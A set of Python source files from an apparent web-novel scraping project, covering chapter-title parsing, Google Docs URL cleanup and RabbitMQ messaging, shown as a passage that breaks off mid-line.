				target = tmp

		# print((before, prec, intervening, target, after))

		return before, target, after

class FreeTextGlobber(GlobBase):

	def attach_token(self, before, target, after):
		if isinstance(target, str):
			target = FreeTextToken(target)

		return before, target, after

		# print("AttachToken: ", (before, target, after))
		# if len(after) == 3:
		# 	target = before[-1] + target
		# 	before = before[:-1]
	# FreeTextToken

class DateGlobber(GlobBase):
	'''
	Attach to text that looks like a date string, so it doesn't get further processed later.
	'''
	def attach_token(self, before, target, after):
		# print("Processing:", target)

		if isinstance(target, str):
			if re.search(r'\d+[/\-]\d+[/\-]\d+', target):
				target = DateTextToken(target)

		return before, target, after


class R18Globber(GlobBase):
	'''
	Attach to text that looks like a age notification string, so it doesn't get further processed later.
	'''
	def attach_token(self, before, target, after):
		tags = [
			re.compile(r"[ \(]R18[ \)]", re.IGNORECASE),
			re.compile(r"(?: |\A)R21(?: |\Z)", re.IGNORECASE),
		]
		for glob in tags:
			if isinstance(target, str):
				if glob.search(target):
					target = IgnoreTextToken(target)

		return before, target, after



################################################################################################################################
################################################################################################################################
################################################################################################################################

class TitleParser(object):

	PROCESSING_STEPS = [
		SpaceSplitter,
		CommaSplitter,
		DateGlobber,
		R18Globber,
		LetterNumberSplitter,
		VolumeChapterFragGlobber,
		CompoundChapterGlobber,
		AsciiDecimalSplitter,
		VolumeChapterFragGlobber,
		CompoundChapterGlobber,
		FractionGlobber,
		CharSplitter,
		LetterNumberSplitter,
		MiscLetterSplitter,
		HyphenatedLetterSplitter,
		NonNumericDecimalSplitter,
		LetterNumberSplitter,
		MiscLetterSplitter,
		HyphenatedLetterSplitter,
		NonNumericDecimalSplitter,
		VolumeChapterFragGlobber,
		EpisodeGlobber,
		VolumeSpotFixGlobber,
		AsciiVolumeChapterFragGlobber,
		FreeNumericChapterGlobber,
		FreeTextGlobber,
	]

	def __init__(self, title):
		self.raw = title

		while "  " in title:
			title = title.replace("  ", " ")

		self.chunks = []

		# print()
		# print()
		# print()
		# print("Parsing title: '%s'" % title)

		for step in self.PROCESSING_STEPS:
			# print("Splitter step before: ", step, title)
			title = step().process(title)
			# print("Splitter step after: ", step, title)

		# print(self)
		self.chunks = title

	def __getitem__(self, idx):
		return self.chunks[idx]

	def getTok(self, tok_cls, tok_func=['is_valid', 'to_number'], do_print=False):

		for do_ascii in [False, True]:
			for item in self.chunks:
				# if do_print:
				# 	print(item, tok_cls, isinstance(item, tok_cls))
				if isinstance(item, tok_cls):
					if getattr(item, tok_func[0])(parse_ascii=do_ascii):
						return getattr(item, tok_func[1])(parse_ascii=do_ascii)
		return None





	def getVolume(self):
		val = self.getTok(VolumeToken)
		if val is not None:
			return val
		val = self.getTok(CompoundVolChapterToken, tok_func=['valid_volume', 'get_volume'])
		if val is not None:
			return val
		return None

	def getChapter(self):
		val = self.getTok(CompoundVolChapterToken, tok_func=['valid_chapter', 'get_chapter'])
		if val is not None:
			return val
		val = self.getTok(CompoundChapterFragmentToken, tok_func=['valid_chapter', 'get_chapter'])
		if val is not None:
			return val
		val = self.getTok(ChapterToken)
		if val is not None:
			return val
		val = self.getTok(FreeChapterToken)
		if val is not None:
			return val
		return None

	def getFragment(self):
		val = self.getTok(FragmentToken)
		if val is not None:
			return val
		val = self.getTok(CompoundChapterFragmentToken, tok_func=['valid_fragment', 'get_fragment'])
		if val is not None:
			return val
		return None


	def _splitPostfix(self, instr):

		return instr.strip()

	def getPostfix(self):
		ret = []
		# print(re.split("([ ,])", self.raw))
		for chunk in re.split("([ ,])", self.raw):
			for p_key in ONE_WORD_POSTFIX_KEYS:
				if p_key in chunk.lower():
					idx = self.raw.find(chunk)
					if idx >= 0:
						postfix = self.raw[idx:]
						ret.append((len(postfix), postfix))

		for mwp in MULTI_WORD_POSTFIX_KEYS:
			idx = self.raw.lower().find(mwp)
			if idx >= 0:
				pfx = self.raw[idx:]
				ret.append((len(pfx), pfx))
		# We want to select the longest found postfix.
		ret.sort(reverse=True)
		if ret:
			return ret[0][1]

		return ''

	def __repr__(self):
		ret = "<Parsed title: '{}' v:{}, c:{}, f:{}\n".format(self.raw, self.getVolume(), self.getChapter(), self.getFragment())
		for item in self.chunks:
			ret += "	{}\n".format(item)
		ret += ">"
		ret = ret.strip()
		return ret


def test():
	testarr =  [
			'Female',
			' ',
			'Warrior',
			' ',
			'Prologue',
			' ',
			'V',
			'1',
			'C',
			'6',
			':',
			' ',
			'Light',
			' ',
			'and',
			' ',
			'Shadow',
			' ',
			FragmentToken('Part', ' ', '6')
		]
	p1 = ['Female', ' ', 'Warrior', ' ', 'Prologue', ' ', 'V']
	p2 = '1'
	p3 = ['C', '6', ':', ' ', 'Light', ' ', 'and', ' ', 'Shadow', ' ', FragmentToken('Part', ' ', '6')]


	globber = VolumeChapterFragGlobber()
	r1, r2, r3 = globber.attach_token(p1, p2, p3)

	print(p1, p2, p3)
	print(r1, r2, r3)

if __name__ == '__main__':
	test()









import abc
import semantic.numbers
import traceback

# Order matters! Items are checked from left to right.
VOLUME_KEYS   = [
		'volume',
		'season',
		'book',
		'vol',
		'vol.',
		'arc',
		'v',
		'b',
		's',

		# Spot fixes: Make certain scanlators work:
		'rokujouma',
		'sunlight',
	]


FRAGMENT_KEYS = [
		'part',
		'episode',
		'pt',
		'part',
		'parts',
		'page',
		'p',
		'pt.',

		# Handle chapter sequences /somewhat/ elegantly
		# e.g. chp 1-3
		# That's either chapter 1 through 3, or
		# chapter 1 part 3.
		# In any event, the first is harmless, and the
		# latter is better then before, so.... eh?
		'-'
	]
CHAPTER_KEYS  = [
		'chapter',
		'ch',
		'c',
		'episode'
	]

# Do NOT glob onto numeric values preceeded by "r",
# so "(R18) Title Blah 4" doesn't get universally interpreted
# as chapter 18.
CHAPTER_NUMBER_NEGATIVE_MASKS = [
	"r",
]

POSTFIX_KEYS = [
		['prologue'],
		['afterword'],
		['epilogue'],
		['interlude'],
		['foreword'],
		['appendix'],
		['intermission'],
		['sidestory'],
		['side', 'story'],
		['extra'],
		['illustrations'],
	]

POSTFIX_SPLITS = [
		'-',
		'–',  # FUCK YOU UNICODE
		':',
	]

# Additional split characters
SPLIT_ON = [
		"!",
		")",
		"(",
		"[",
		"]",

		# Fucking quotes
		'"',
		'/',
		'\\',
	]


def getDelimiter(instr, delimiters):
	for delimiter in delimiters:
		if instr.startswith(delimiter):
			return delimiter
	return False

def partition(alist, indices):
	return [alist[i:j] for i, j in zip([0]+indices, indices+[None])]

class Token(object):
	__metaclass__ = abc.ABCMeta

	glob_free_number_string = True

	@abc.abstractmethod
	def tokens(self):
		pass


	def __init__(self, text, position, parent):

		self.text     = text
		self.position = position
		self.parent   = parent

	def getPreceeding(self):
		if self.position == 0:
			return None
		return self.parent[self.position-1]

	def splitToken(self, toktype):
		'''
		split the current token into a list of `toktype` tokens
		on SPLIT_ON characters if they are present in
		the token strin

		Then, split that list of tokens on numeric/non-numeric
		bounds

		Returns a flattened list of tokens. E.g:
		'ch10!'
		becomes :
		['ch10', '!']
		and then:
		['ch', '10', '!']
		Where each instance is a token of type `toktype` containing the
		shown text.
		'''

		idx = 0
		splits = []
		while idx < len(self.text):
			sp = getDelimiter(self.text[idx:], SPLIT_ON)
			if sp:
				splits.append(idx)
				splits.append(idx+len(sp))
				idx = idx+len(sp)
			else:
				idx += 1

		if 0 in splits:
			splits.remove(0)
		if len(self.text) in splits:
			splits.remove(len(self.text))
		if splits:
			ret = []
			offset = 0
			for chunk in partition(self.text, splits):
				ret.append(toktype(chunk, self.position+offset, self.parent))
				offset += 1
		else:
			ret = [self]

		num_ret = []
		for tok in ret:
			tmp = tok.splitNumeric(toktype)
			for val in tmp:
				num_ret.append(val)


		return num_ret

	def splitNumeric(self, toktype):
		'''
		Given a token containing a string that is partially numeric,
		split the token into sub-tokens that break at the numeric/non-numeric boundaries.
		E.g. 'ch03' becomes ['ch', '03']

		Has some internal protections. Does not split on back/forward slashes unless they are the
		first character.

		Returns a list of tokens in all cases. If no splits were done, the list contains
		only `self`. This allows unconditional use of the return value

		'''
		if not any([char in '0123456789' for char in self.text]):
			return [self]

		# print("Parsing: ", self.text)
		# print("Parsing: ", self.getPreceeding(()))
		if ("/" in self.text and self.text.index("/") > 0) or ("\\" in self.text and self.text.index("\\") > 0):
			return [self]

		nmx = self.text[0] in '0123456789.'
		splits = []
		for idx in range(len(self.text)):
			c_nmx = self.text[idx] in '0123456789.'
			if c_nmx != nmx:
				splits.append(idx)
			nmx = c_nmx

		ret = [self]

		offset = 0
		if splits:
			ret = []
			for chunk in partition(self.text, splits):
				ret.append(toktype(chunk, self.position+offset, self.parent))
				offset += 1

		return ret

	def isNumeric(self):
		'''
		Does the token contain a value that could (probably) be
		converted to an integer without issue.

		TODO: just use try float(x)?
		'''
		if not self.text:
			return False
		# Handle strings with multiple decimal points, e.g. '01.05.15'
		if self.text.count(".") > 1:
			return False

		# NumberService() for some reason converts "a" to "one", which fucks everything up.
		# Anyways, if the token is "a", stop it from doing that.
		if self.text.strip().lower() == 'a':
			return False

		if not any([char in '0123456789' for char in self.text]):
			return False
		if all([char in '0123456789.' for char in self.text]):
			return True

		# Make sure we have at least one digit
		if not any([char in '0123456789' for char in self.text]):
			return False
		return False

	def getNumber(self):

		if self.isNumeric():
			# print("Not numeric!")
			if self.text.startswith("."):
				return float(self.text[1:])

			return float(self.text)
		val = self.asciiNumeric()
		# print("AsciiNumeric call return: ", val)
		if val != False:
			return val

		raise ValueError("Call assumes '%s' is numeric, and it's not (return: '%s')? Parent: '%s'" % (self.text, val, self.parent))
		# assert self.isNumeric(), "getNumber() can only be called if the token value is entirely numeric!"

	def asciiNumeric(self):
		# print("AsciiNumeric call on '%s'" % self.text)
		if self.glob_free_number_string != True:
			# print("self.glob_free_number_string false for '%s'. Returning false" % self.text)
			return False

		following_text = self.text+self.parent._following_text(self.position)

		if not following_text:
			# print("No following text for '%s'. Returning false" % self.text)
			return False


		following_text = following_text.strip()

		bad_chars = [":", ";", ",", "[", "]"]
		for bad_char in bad_chars:
			if bad_char in following_text:
				following_text = following_text.split(bad_char)[0]

		# text-to-number library does stupid things with "a" or "A" (converts them to 1)
		following_text = following_text.split(" ")
		if "a" in following_text: following_text.remove("a")
		if "A" in following_text: following_text.remove("A")
		following_text = " ".join(following_text)


		# Spot-patching to fix data corruption issues I've run into:

		following_text = following_text.replace("”", "")
		following_text = following_text.strip()
		# print("AsciiNumeric concatenated string: '%s'" % following_text)
		while following_text:
			try:
				# print("Parsing '%s' for numbers" % following_text)
				ret = semantic.numbers.NumberService().parse(following_text)
				# print("parsed: ", ret)
				# print(traceback.print_stack())
				return ret
			except semantic.numbers.NumberService.NumberException:
				# print("Failed to parse: ", following_text)
				try:
					# Try again with any trailing hyphens removed
					# semantic assumes "twenty-four" should parse as "twenty four".
					# this is problematic when you have "chapter one - Thingies", which
					# tries to parse as "one - thingies", and fails.
					# However, we only want to invoke this fallback if
					# we can't parse /with/ the hyphen, as lots of sources actually do release
					# as "twenty-four"
					if "-" in following_text:
						following_text = following_text.split("-")[0].strip()
						val = semantic.numbers.NumberService().parse(following_text)
						return val

					# It also mangles trailing parenthesis, for some reason.
					if ")" in following_text or "(" in following_text:
						following_text = following_text.split(")")[0].split("(")[0].strip()
						val = semantic.numbers.NumberService().parse(following_text)
						return val


				except semantic.numbers.NumberService.NumberException:
					pass

				# print("Parse failure!")
				# traceback.print_exc()
				if not " " in following_text:
					# print("Parse failure?")
					return False
				following_text = following_text.rsplit(" ", 1)[0]
		# print("Parse reached end of buffer without content")
		return False


	def __repr__(self):
		# print("Token __repr__ call!")
		ret = "<{:14} at: {:2} contents: '{}' number: {}, ascii number: {}>".format(self.__class__.__name__, self.position, self.text, self.isNumeric(), self.asciiNumeric())
		return ret

	def index(self):
		return self.position
	def string(self):
		return self.text
	def stringl(self):
		return self.text.lower()

	def lastData(self):
		ret = self.parent._preceeding(self.position)
		if not len(ret):
			return NullToken()
		return ret[-1]

	def nextData(self):
		ret = self.parent._following(self.position)
		if not len(ret):
			return NullToken()
		return ret[0]

	@classmethod
	def wantsToSpecialize(cls, text):
		'''
		Does token type want to specialize on the text
		`text`? Overridden in `FreeChapterToken` token
		type to allow special behaviour.
		'''
		return text in cls.tokens

	def specialize(self, specializations, ascii_num_specializations):
		# print("Specializing: ", self)

		if self.isNumeric():
			prev_dat = self.lastData()
			for spec in [spec for spec in specializations]:
				# print(spec)
				if not self.parent._getTokenType(spec):
					if spec.wantsToSpecialize(prev_dat.stringl()):
						return spec(self.text, self.position, self.parent)


		if self.asciiNumeric() != False:
			prev_dat = self.lastData()
			for spec in [spec for spec in ascii_num_specializations]:
				# print(spec)
				if not self.parent._getTokenType(spec):
					if spec.wantsToSpecialize(prev_dat.stringl()):
						return spec(self.text, self.position, self.parent)


		return self


class DataToken(Token):
	tokens = None

class VolumeToken(Token):
	tokens = VOLUME_KEYS
class ChapterToken(Token):
	tokens = CHAPTER_KEYS
class FragmentToken(Token):
	tokens = FRAGMENT_KEYS

class FreeChapterToken(Token):
	tokens                  = False
	glob_free_number_string = False

	@classmethod
	def wantsToSpecialize(cls, text):
		'''
		Glob onto any numeric value that is NOT preceeded by
		any of the existing glob lists.
		'''
		return text not in VOLUME_KEYS+CHAPTER_KEYS+FRAGMENT_KEYS+CHAPTER_NUMBER_NEGATIVE_MASKS

class DelimiterToken(Token):
	tokens = None

class NullToken(Token):
	tokens = None
	text = 'NONE - lolercasterlwklsajhafglkjhasdflkjh'
	def __init__(self):
		pass

	def isNumeric(self):
		return False

	def getNumber(self):
		raise ValueError("NullToken cannot be converted to a number!")

	def __repr__(self):
		ret = "<{:14}>".format(self.__class__.__name__)
		return ret

	def string(self):
		return ''





class TitleParser(object):
	DELIMITERS = [' ', '_', ',', ':', '-']

	# Possible token specializations.
	# Order is important! Options are checked in passed order.
	# Earlier types will preempt globbing by later types
	SPECIALIZE = [
			VolumeToken,
			ChapterToken,
			FragmentToken,
			FreeChapterToken,
		]
	ASCII_SPECIALIZE = [
			VolumeToken,
			ChapterToken,
			FragmentToken,
		]

	def __init__(self, title):
		self.raw = title

		self.chunks = []
		indice = 0
		data = ''

		# Consume the string.
		while indice < len(self.raw):
			delimiter = getDelimiter(self.raw[indice:], self.DELIMITERS)
			if delimiter:
				assert self.raw[indice:].startswith(delimiter)
				if data:
					self.appendDataChunk(data)
					data = ''
				self.appendDelimiterChunk(self.raw[indice:indice+len(delimiter)])
				indice = indice+len(delimiter)
			else:
				data += self.raw[indice]
				indice += 1

		# Finally, tack on any trailing data tokens (if they're present)
		if data:
			self.appendDataChunk(data)

	def __getitem__(self, idx):
		return self.chunks[idx]

	def appendDelimiterChunk(self, rawdat):
		tok  = DelimiterToken(
			text     = rawdat,
			position = len(self.chunks),
			parent   = self)
		self.chunks.append(tok)

	def appendDataChunk(self, rawdat):

		d_tok = DataToken(
				text     = rawdat,
				position = len(self.chunks),
				parent   = self)
		d_toks = d_tok.splitToken(DataToken)
		for tok in d_toks:
			tok = tok.specialize(self.SPECIALIZE, self.ASCII_SPECIALIZE)
			self.chunks.append(tok)

	def _preceeding(self, offset):
		return [chunk for chunk in self.chunks[:offset] if not isinstance(chunk, (DelimiterToken, NullToken))]

	def _following(self, offset):
		return [chunk for chunk in self.chunks[offset+1:] if not isinstance(chunk, (DelimiterToken, NullToken))]

	def _following_text(self, offset):
		chunks = [chunk for chunk in self.chunks[offset+1:] if not any([isinstance(chunk, ttype) for ttype in self.SPECIALIZE])]
		texts = [chunk.text for chunk in chunks]
		return "".join(texts)

	def _getTokenType(self, tok_type):
		return [chunk for chunk in self.chunks if isinstance(chunk, tok_type)]


	def getNumbers(self):
		return [item for item in self.chunks if item.isNumeric()]

	def getVolumeItem(self):
		have = self._getTokenType(VolumeToken)
		if have:
			return have[0]
		return None

	def getVolume(self):
		have = self.getVolumeItem()
		if not have:
			return None
		return have.getNumber()

	def getFragment(self):
		have = self._getTokenType(FragmentToken)
		if have:
			return have[0].getNumber()
		return None


	def _splitPostfix(self, inStr):
		# for key in POSTFIX_SPLITS:
		# 	print(key, key in inStr)
		# 	if key in inStr:
		# 		return inStr.split(key, 1)[-1]


		return inStr.strip()

	def getPostfix(self):

		for idx in range(len(self.chunks)):
			s_tmp = self.chunks[idx].stringl()
			# Do not glob onto postfixes untill there are no
			# attached chapter/volume items remaining.
			# Specifically, we allow fragment or free chapter tokens,
			# because they can unintentionally attach to postfix numbering.
			if any([isinstance(chunk, (VolumeToken, ChapterToken)) for chunk in self._following(idx)]):
				continue

			for p_key in POSTFIX_KEYS:
				if len(p_key) == 1:
					if p_key[0] in s_tmp:
						ret = ''.join([chunk.string() for chunk in self.chunks[idx:]])
						return self._splitPostfix(ret)
				if len(p_key) == 2:
					if p_key[1] in s_tmp:
						if idx > 0:
							last = self._preceeding(idx)[-1]
						else:
							last = NullToken()
						if p_key[0] in last.stringl():
							ret = ''.join([chunk.string() for chunk in self.chunks[last.index():]])
							return self._splitPostfix(ret)
		return ''

	def getChapterItem(self):
		# Preferentially select proper chapter tokens, rather
		# then free-floating tokens.
		# That way, titles like: '100 Years of Martial Arts – Chapter 2 Finished (╯°□°）╯︵ ┻━┻)'
		# don't unintentionally glob onto '100', when we want it to
		# select '2' first
		have = self._getTokenType(ChapterToken)
		# print("Have chapter:", have)
		if have:
			return have[0]
		have = self._getTokenType(FreeChapterToken)
		if have:
			return have[0]

		return None

	def getChapter(self):
		# print("GetChapter call")
		have = self.getChapterItem()
		# print("GetChapter return: '%s'" % have)
		if not have:
			return None
		return have.getNumber()

	def __repr__(self):
		ret = "<Parsed title: '{}'\n".format(self.raw)
		for item in self.chunks:
			ret += "	{}\n".format(item)
		ret += ">"
		ret = ret.strip()
		return ret














import re
import urllib.parse
import WebMirror.util.webFunctions
import unshortenit

# All tags you need to look into to do link canonization
# source: http://stackoverflow.com/q/2725156/414272
# "These aren't necessarily simple URLs ..."
urlContainingTargets = [
	(False, 'a',          'href'),
	(False, 'applet',     'codebase'),
	(False, 'area',       'href'),
	(False, 'base',       'href'),
	(False, 'blockquote', 'cite'),
	(False, 'body',       'background'),
	(False, 'del',        'cite'),
	(False, 'form',       'action'),
	(False, 'frame',      'longdesc'),
	(False, 'frame',      'src'),
	(False, 'head',       'profile'),
	(False, 'iframe',     'longdesc'),
	(False, 'iframe',     'src'),
	(False, 'input',      'src'),
	(False, 'input',      'usemap'),
	(False, 'ins',        'cite'),
	(False, 'link',       'href'),
	(False, 'object',     'classid'),
	(False, 'object',     'codebase'),
	(False, 'object',     'data'),
	(False, 'object',     'usemap'),
	(False, 'q',          'cite'),
	(False, 'script',     'src'),
	(False, 'audio',      'src'),
	(False, 'button',     'formaction'),
	(False, 'command',    'icon'),
	(False, 'embed',      'src'),
	(False, 'html',       'manifest'),
	(False, 'input',      'formaction'),
	(False, 'source',     'src'),
	(False, 'video',      'poster'),
	(False, 'video',      'src'),
	(True,  'img',        'longdesc'),
	(True,  'img',        'src'),
	(True,  'img',        'usemap'),
]

from WebMirror.Exceptions import CannotAccessGDocException



def trimGDocUrl(rawUrl):
	# if "docs.google.com" in rawUrl:
	# 	print("Trimming URL: ", rawUrl)

	url = rawUrl.split("#")[0]


	urlParam = urllib.parse.urlparse(url)

	# Short circuit so we don't munge non-google URLs
	if not 'google.com' in urlParam.netloc:
		return rawUrl

	qArr = urllib.parse.parse_qs(urlParam.query)
	if urlParam.query and 'google.com' in urlParam.netloc:
		qArr.pop('usp', None)
		qArr.pop('pli', None)
		qArr.pop('authuser', None)
		if qArr:
			queryStr = urllib.parse.urlencode(qArr, doseq=True)
		else:
			queryStr = ''
	else:
		# Unfortunately, parsing and re-encoding can reorder the parameters in the URL.
		# Since there is some idiot-checking to see if the url has changed if it /shouldn't/
		# and reodering would break that, we don't just use urlencode by default, unless it's
		# actually changed anything.
		queryStr = urlParam.query

	# This trims off any fragment, and re-adds the query-string(if present) with any google keys removed
	# print(urlParam, (queryStr, ''))
	params = urlParam[:4] + (queryStr, '')
	# print("Params", params)
	url = urllib.parse.urlunparse(params)

	# If the url has 'preview/' on the end, chop that off (but only for google content)
	if 'docs.google.com' in urlParam.netloc:
		strip = [
			"/preview/",
			"/preview",
			"/edit",
			"/view",
			"/mobilebasic",
			"/mobilebasic?viewopt=127",
			"?embedded=true",
			"?embedded=false",
			]

		gdocBaseRe = re.compile(r'(https?://docs.google.com/document/d/[-_0-9a-zA-Z]+(?:/pub)?)(.*)$')
		simpleCheck = gdocBaseRe.search(url)
		if simpleCheck:
			if any([item in simpleCheck.group(2) for item in strip]):
				url = simpleCheck.group(1)

		for ending in strip:
			if url.endswith(ending):
				url = url[:-len(ending)]

	# if "docs.google.com" in url:
	# 	print("Trimmed URL: ", url)

	# if url.endswith("/pub"):
	# 	url = url[:-3]


	return url

def isGdocUrl(url):
	gdocBaseRe = re.compile(r'(https?://docs.google.com/document/d/[-_0-9a-zA-Z]+)')
	simpleCheck = gdocBaseRe.search(url)
	if simpleCheck and not url.endswith("/pub"):
		# return True, simpleCheck.group(1)
		return True, trimGDocUrl(url)

	return False, url


def isGFileUrl(url):

	gFileBaseRe = re.compile(r'(https?://docs.google.com/file/d/[-_0-9a-zA-Z]+)')
	simpleCheck = gFileBaseRe.search(url)
	if simpleCheck and not url.endswith("/pub"):
		return True, trimGDocUrl(url)

	scheme, netloc, path, params, query, fragment = urllib.parse.urlparse(url)

	if netloc == 'drive.google.com' and path == '/folderview':
		query = urllib.parse.parse_qsl(query)
		query = [item for item in query if item[0] != "usp"]
		query.sort()
		query = urllib.parse.urlencode(query)

		url = urllib.parse.urlunparse((scheme, netloc, path, params, query, fragment))
		return True, url

	return False, url


##############################################################################################################
##############################################################################################################
##############################################################################################################
##############################################################################################################


def cleanUrl(url):
	# Fucking tumblr redirects.
	if url.startswith("https://www.tumblr.com/login"):
		return None

	url, status = unshortenit.unshorten_only(url)
	#assert (status == 200)

	return url


##############################################################################################################
##############################################################################################################
##############################################################################################################
##############################################################################################################

def rebaseUrl(url, base):
	"""Rebase one url according to base"""

	parsed = urllib.parse.urlparse(url)

	if parsed.scheme == parsed.netloc == '':
		return urllib.parse.urljoin(base, url)
	else:
		return url

def canonizeUrls(soup, pageUrl):
	# print("Canonizing for page: ", pageUrl)
	for (dummy_isimg, tag, attr) in urlContainingTargets:
		for link in soup.findAll(tag):
			try:
				url = link[attr]
			except KeyError:
				pass
			else:
				link[attr] = rebaseUrl(url, pageUrl)

	return soup


def urlClean(url):
	assert url != None
	# Google docs can be accessed with or without the '/preview' postfix
	# We want to remove this if it's present, so we don't duplicate content.
	url = trimGDocUrl(url)
	url = cleanUrl(url)

	while True:
		url2 = urllib.parse.unquote(url)
		url2 = url2.split("#")[0]
		if url2 == url:
			break
		url = url2

	# Clean off whitespace.
	url = url.strip()

	return url

def getNetLoc(url):
	parsed = urllib.parse.urlparse(url)
	if not parsed.netloc:
		raise ValueError("No netloc in url: '{}'".format(url))
	return parsed.netloc

if __name__ == "__main__":
	print('wat')

	print(isGFileUrl('https://drive.google.com/folderview?id=0B_mXfd95yvDfQWQ1ajNWZTJFRkk&usp=drive_web'))
	print(urlClean('http://inmydaydreams.com/?p=6128&share=tumblr'))
	print(urlClean('http://inmydaydreams.com/?p=6091&share=tumblr'))









if __name__ == "__main__":
	import logSetup
	logSetup.initLogging()

import pickle
from WebMirror import database
import config
import WebMirror.LogBase
import WebMirror.rules
import WebMirror.OutputFilters.AmqpInterface
from WebMirror.OutputFilters.util.MessageConstructors import pack_message
import WebMirror.TimedTriggers.TriggerBase


class MetaUpdater(WebMirror.TimedTriggers.TriggerBase.TriggerBaseClass):

	pluginName = "Meta Updater"

	loggerPath = 'MetaUpdater'

	def __init__(self):
		super().__init__()
		# print()
		if config.C_DO_RABBIT:
			print("No message queue! Doing independent RabbitMQ connection!")
			# traceback.print_stack()
			# print("Wat?")
			# print()
			self.msg_q = False
			amqp_settings = {
				"RABBIT_LOGIN" : config.C_RABBIT_LOGIN,
				"RABBIT_PASWD" : config.C_RABBIT_PASWD,
				"RABBIT_SRVER" : config.C_RABBIT_SRVER,
				"RABBIT_VHOST" : config.C_RABBIT_VHOST,
				'taskq_task'     : 'task.master.q',
				'taskq_response' : 'response.master.q',
			}

			self._amqpint = WebMirror.OutputFilters.AmqpInterface.RabbitQueueHandler(amqp_settings)

	def get_feed_count_message(self):
		feeds = set()
		for ruleset in WebMirror.rules.load_rules():
			feeds |= set(ruleset['feedurls'])

		data = {
			"feed-count" : len(feeds)
		}

		return pack_message("system-feed-counts", data)

	def get_times(self):
		conn = database.get_db_session()
		aps = conn.execute("SELECT job_state FROM apscheduler_jobs;")

		update_times = []
		for blob, in aps:
			job_dict = pickle.loads(blob)
			update_times.append((
					job_dict['id'],
					job_dict['next_run_time'].isoformat()
				))

		data = {
			"update-times" : update_times,
		}
		database.delete_db_session()

		return pack_message("system-update-times", data)

	def go(self):
		feeds = self.get_feed_count_message()
		times = self.get_times()
		self._amqpint.put_item(feeds)
		self._amqpint.put_item(times)




def do_meta_update():
	updator = MetaUpdater()
	updator._go()

	updator = MetaUpdater()
	updator._go()

	updator = MetaUpdater()
	updator._go()


if __name__ == '__main__':
	do_meta_update()














import amqpstorm
import urllib.parse
import socket
import traceback
import logging
import threading
import multiprocessing
import queue
import time

class Heartbeat_Timeout_Exception(Exception):
	pass

class Message_Publish_Exception(Exception):
	pass

class AmqpContainer(object):
	def __init__(self, conn_params, rx_queue, **config):

		self.log = logging.getLogger("Main.Connector.Container(%s)" % conn_params['virtual_host'])


		assert 'task_queue_name'          in config
		assert 'response_queue_name'      in config
		assert 'task_exchange'            in config
		assert 'task_exchange_type'       in config
		assert 'response_exchange'        in config
		assert 'response_exchange_type'   in config
		assert 'durable'                  in config
		assert 'prefetch'                 in config
		assert 'flush_queues'             in config
		assert 'hearbeat_packet_timeout'  in config

		self.log.info("Connection configuration:")
		for key, value in conn_params.items():
			self.log.info("	%s -> %s", key, value)

		self.log.info("Config params:")
		for key, value in config.items():
			self.log.info("	%s -> %s", key, value)

		self.keepalive_exchange_name = "keepalive_exchange"+str(id("wat"))
		self.hearbeat_packet_timeout = config['hearbeat_packet_timeout']

		self.task_exchange   = config['task_exchange']
		self.task_queue_name = config['task_queue_name']
		self.durable         = config['durable']

		self.log.info("Initializing AMQP connection.")

		self.storm_connection = amqpstorm.Connection(**conn_params)

		self.log.info("Connection established. Setting up consumer.")
		self.storm_channel = self.storm_connection.channel(rpc_timeout=conn_params['timeout'])

		# Initial QoS is tiny, throttle it up after everything is actually running.
		self.storm_channel.basic.qos(1, global_=True)

		self.last_hearbeat_received = time.time()
		self.last_message_received = time.time()

		self.rx_timeout_lock        = threading.Lock()
		self.heartbeat_timeout_lock = threading.Lock()
		self.active_lock            = threading.Lock()

		self.rx_queue = rx_queue

		self.log.info("Configuring queues.")


		self.storm_channel.exchange.declare(
					exchange=config['task_exchange'],
					exchange_type=config['task_exchange_type'],
					durable=config['durable']
				)

		self.storm_channel.exchange.declare(
					exchange=config['response_exchange'],
					exchange_type=config['response_exchange_type'],
					durable=config['durable']
				)

		# # "NAK" queue, used for keeping the event loop ticking when we
		# # purposefully do not want to receive messages
		# # THIS IS A SHITTY WORKAROUND for keepalive issues.

		self.storm_channel.exchange.declare(
					exchange=self.keepalive_exchange_name,
					durable=False,
					auto_delete=True)

		self.storm_channel.queue.declare(
					queue=self.keepalive_exchange_name+'.nak.q',
					durable=False,
					auto_delete=True)

		self.storm_channel.queue.bind(
					queue=self.keepalive_exchange_name+'.nak.q',
					exchange=self.keepalive_exchange_name,
					routing_key="nak")

		self.storm_channel.queue.declare(
					queue=config['response_queue_name'],
					durable=config['durable'],
					auto_delete=False)
		self.log.info("Declared.")

		self.storm_channel.queue.bind(
					queue=config['response_queue_name'],
					exchange=config['response_exchange'],
					routing_key=config['response_queue_name'].split(".")[0])

		self.heartbeat_loops = 0
		self.consumer_cycle = 0

		self.prefetch_extended = False
		self.prefetch_count = config['prefetch']

	def start_consume(self, config):
		self.log.info("Bound. Triggering consume")
		self.storm_channel.basic.consume(self.handle_rx, queue=config['response_queue_name'],         no_ack=False)
		self.storm_channel.basic.consume(self.handle_rx, queue=self.keepalive_exchange_name+'.nak.q', no_ack=False)
		self.log.info("Consume triggered.")




	def close(self):
		# Stop the flow of new items

		# if self.channel:
		# 	try:
		# 		self.channel.prefetch_count(0)
		# 	except rabbitpy.exceptions.RabbitpyException as e:
		# 		self.log.error("Error on interface teardown!")
		# 		self.log.error("	%s", e)

		# Apparently you can close the underlying connection, and have it's thread die, and
		# somehow not have the channel consumer stop. Anyways, stop that first so it shouldn't
		# get wedged in the future.
		self.log.info("Closing channel")
		self.storm_channel.close()

		# Close the connection
		self.log.info("Closing connection")
		self.storm_connection.close()

	def kill(self):
		self.log.info("Killing connection")
		self.storm_connection.kill()
		self.storm_channel.kill()

	def enter_blocking_rx_loop(self):
		self.storm_channel.start_consuming(to_tuple=False)


	def handle_keepalive_rx(self, message):

		with self.heartbeat_timeout_lock:
			self.last_hearbeat_received = time.time()
		message.ack()
		self.log.info("Heartbeat packet received! %s", message.body)

	def handle_normal_rx(self, message):

		with self.rx_timeout_lock:
			self.last_message_received = time.time()
		self.rx_queue.put(message.body)
		message.ack()

		self.log.info("Message packet received! %s", len(message.body))
	def handle_rx(self, message):
		# self.log.info("Received message!")
		# self.log.info("Message channel: %s", message.channel)
		# self.log.info("Message properties: %s", message.properties)
		if message.properties['correlation_id'] == 'keepalive':
			self.handle_keepalive_rx(message)
		else:
			self.handle_normal_rx(message)

		if self.prefetch_extended is False:
			self.prefetch_extended = True
			self.storm_channel.basic.qos(self.prefetch_count, global_=True)
			self.log.info("Prefetch updated")

	def poke_keepalive(self):
		self.storm_channel.basic.publish(body='wat', exchange=self.keepalive_exchange_name, routing_key='nak',
